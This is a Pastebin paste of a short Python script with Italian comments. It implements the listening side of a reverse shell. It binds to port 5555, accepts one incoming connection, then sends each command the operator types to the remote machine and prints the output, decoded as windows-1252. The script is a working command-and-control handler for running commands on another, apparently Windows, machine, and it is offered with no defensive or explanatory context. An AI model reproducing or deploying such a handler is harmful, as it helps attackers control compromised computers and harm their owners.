Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, os, sys
- def srvCreate():
- global host
- global port
- global s
- host = '192.168.1.106' # Nome simbolico che rappresenta il nodo locale
- port = 5555 # Porta non privilegiata arbitraria
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- print("In ascolto..")
- except socket.error as msg:
- print("socket fallito!")
- def srvBinding():
- try:
- s.bind((host, port))
- s.listen(3)
- except socket.error as msg:
- print("Binding fallito!")
- def srvAccept():
- global conn
- global addr
- global data
- try:
- conn, addr = s.accept()
- print ('Sessione Aperta con :' + addr[0],addr[1])
- print('\n')
- data = conn.recv(1024)
- print(data)
- menu()
- except socket.error as msg:
- print ('connessione finita')
- s.close()
- def menu():
- while 1:
- cmd=input(str(addr)+'ยง'+ str(data) + ('> '))
- if cmd == 'quit':
- conn.close()
- sys.exit()
- cmdb=cmd.encode()
- command = conn.send(cmdb)
- result = conn.recv(16834)
- result=result.decode('windows-1252')
- print(result)
- def main():
- srvCreate()
- srvBinding()
- srvAccept()
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement